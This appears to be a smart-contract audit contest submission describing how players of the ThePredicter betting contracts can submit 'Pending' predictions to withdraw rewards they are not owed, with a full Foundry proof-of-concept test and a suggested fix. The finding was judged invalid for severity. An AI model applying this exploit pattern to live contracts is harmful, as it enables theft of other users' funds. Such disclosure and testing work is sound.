Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: low
Invalid

If last match result is set first by the organizer, a malicious player could withdraw funds from the contract even if they are not eligible for rewards

Summary

If last match result is set first by the organizer, a malicious player could withdraw funds from the contract even if they are not eligible for rewards. If this happens, the organizer will not be able to withdraw prediction fees and honest players will not be able to withdraw their rewards.

Vulnerability Details

The functions ThePredicter.makePrediction and ScoreBoard.setPrediction allow players to set results to Pending status. If a user sets results to Pending and the organizer mistakenly sets the result of the last match before the other matches, then the withdraw function will work and since all other matches results are in Pending status, the user will be able to claim rewards as if their predictions where correct.

The explotaition of the vulnerability would be complex, since it needs a specific behavior from the organizer, and if that does not happen the attacker will lose funds making the attack setup.

In case the vulnerability is exploited, there will not be enough funds for all of the honest players to withdraw their rewards, and the organizer will not be able to withdraw the prediction fees, because the function will hit an underflow and revert.

The following PoC shows how the vulnerability could be exploited:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract SetLastResultFirstTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function test_setLastResultFirstLeadsToPlayersNotEligibleForRewardsToGetRewards() public {
address player = makeAddr("player");
vm.deal(player, 1 ether);
vm.deal(stranger, 1 ether);
vm.startPrank(stranger);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(player);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(player);
vm.stopPrank();
// stranger makes the first 7 predictions setting Pending as a result
vm.startPrank(stranger);
for (uint256 m = 0; m < 7; ++m) {
thePredicter.makePrediction{value: 0.0001 ether}(
m,
ScoreBoard.Result.Pending
);
}
// stranger makes the last 2 predictions to ensure he is eligible for reward
// if the last result is set before the rest.
// The predictions are incorrect
thePredicter.makePrediction{value: 0.0001 ether}(
7,
ScoreBoard.Result.Second
);
thePredicter.makePrediction{value: 0.0001 ether}(
8,
ScoreBoard.Result.Second
);
vm.stopPrank();
// player makes 9 correct predictions
vm.startPrank(player);
for (uint256 m = 0; m < 9; ++m) {
thePredicter.makePrediction{value: 0.0001 ether}(
m,
ScoreBoard.Result.First
);
}
vm.stopPrank();
vm.startPrank(organizer);
// organizer mistakenly sets the last result before
// the rest of the results
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
// stranger realizes that the last result was set
// and exploit this to get rewards, even though he
// does not have any correct predictions
uint256 strangerBalanceBefore = stranger.balance;
vm.startPrank(stranger);
thePredicter.withdraw();
vm.stopPrank();
// stranger was able to get funds from the contract
assertGt(stranger.balance, strangerBalanceBefore);
// organizer sets the rest of the results
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
// the organizer is not able to withdraw prediction fees
// because the stranger has stolen funds from the contract
vm.expectRevert();
thePredicter.withdrawPredictionFees();
vm.stopPrank();
// the honest player now cannot withdraw their rewards
// because there are not enough funds in the contract
vm.startPrank(player);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
}
}

Impact

  • Withdrawal of funds for players not eligible for rewards

  • Prevent organizer from withrawing prediction fees

  • Prevent honest users from withdrawing rewards

Tools Used

Foundry

Recommendations

  • Make the functions ThePredicter.makePrediction and ScoreBoard.setPrediction revert if the result specified in the parameter is Pending

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.